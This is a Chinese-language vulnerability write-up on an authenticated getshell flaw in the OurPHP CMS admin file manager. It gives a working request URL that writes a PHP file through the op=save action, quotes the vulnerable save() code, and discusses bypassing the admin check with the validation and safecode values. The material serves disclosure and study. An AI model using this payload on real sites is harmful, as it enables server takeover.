Ourphp后台getshell漏洞

0x00 Payload

1
/client/manage/ourphp_filebox.php?op=save&encode=UTF-8&fename=1.php&ncontent=<?php phpinfo(); ?>

在登陆后台后,可直接上传文件。

代码分析

/ourphp/client/manage/ourphp_filebox.php 694行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function save($ncontent, $fename, $encode) {
global $meurl,$folder;
if (!$fename == "") {
maintop("编辑");
$file = iconv("UTF-8", "GBK", $folder.$fename);
$ydata = stripslashes($ncontent);
if($encode!=="UTF-8" && $encode!=="ASCII"){
$ydata = iconv($encode, "UTF-8", $ydata);
}
if(file_put_contents($file, $ydata)) {
echo "<div class='box'>文件 <a href=\"".$folder.$fename."\" target=\"_blank\">".$folder.$fename."</a> 保存成功!\n"
."请选择 <a href=\"".$meurl."?op=home&folder=".$_SESSION['folder']."\">返回文件管理</a> 或者 <a href=\"".$meurl."?op=edit&fename=".$fename."&folder=".$folder."\">继续编辑</a></div>\n";
$fp = null;
}else{
echo "<span class='error'>文件保存出错!</span>\n"
." <a href=\"".$meurl."?op=home&folder=".$_SESSION['folder']."\">返回文件管理</a>\n";
}
}else{
home();
}
}

函数调用位置:

1
2
3
4
5
switch ($op){
……
case "save":
save($_REQUEST['ncontent'], $_REQUEST['fename'], $_REQUEST['encode']);
break;

op参数位置:

1
2
3
4
5
6
if(isset($_REQUEST['op'])){
$op = $_REQUEST['op'];
session_start();
}else{
$op = 'home';
}

所有参数全部都是request到的,也没有经过过滤函数,就直接拼接到了字符串中,进行了文件读写,保存。

CNVD-2017-13894是前台漏洞,但是我并没有找到如何绕过验证。

1
2
3
4
5
6
7
8
9
10
11
if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){
$_SESSION['ourphp_outtime'] = time() + 3600;
$_SESSION['ourphp_out'] = "ourphp";
}else{
if(isset($_SESSION['ourphp_out'])){
$filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']);
}else{
include 'ourphp_checkadmin.php';
$filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']."templates/");
}
}

这里验证了validation和safecode,validation是ourphp的口令码,safecode是随机生成的32位的安全码,如果有这两个字符串也可以绕过验证。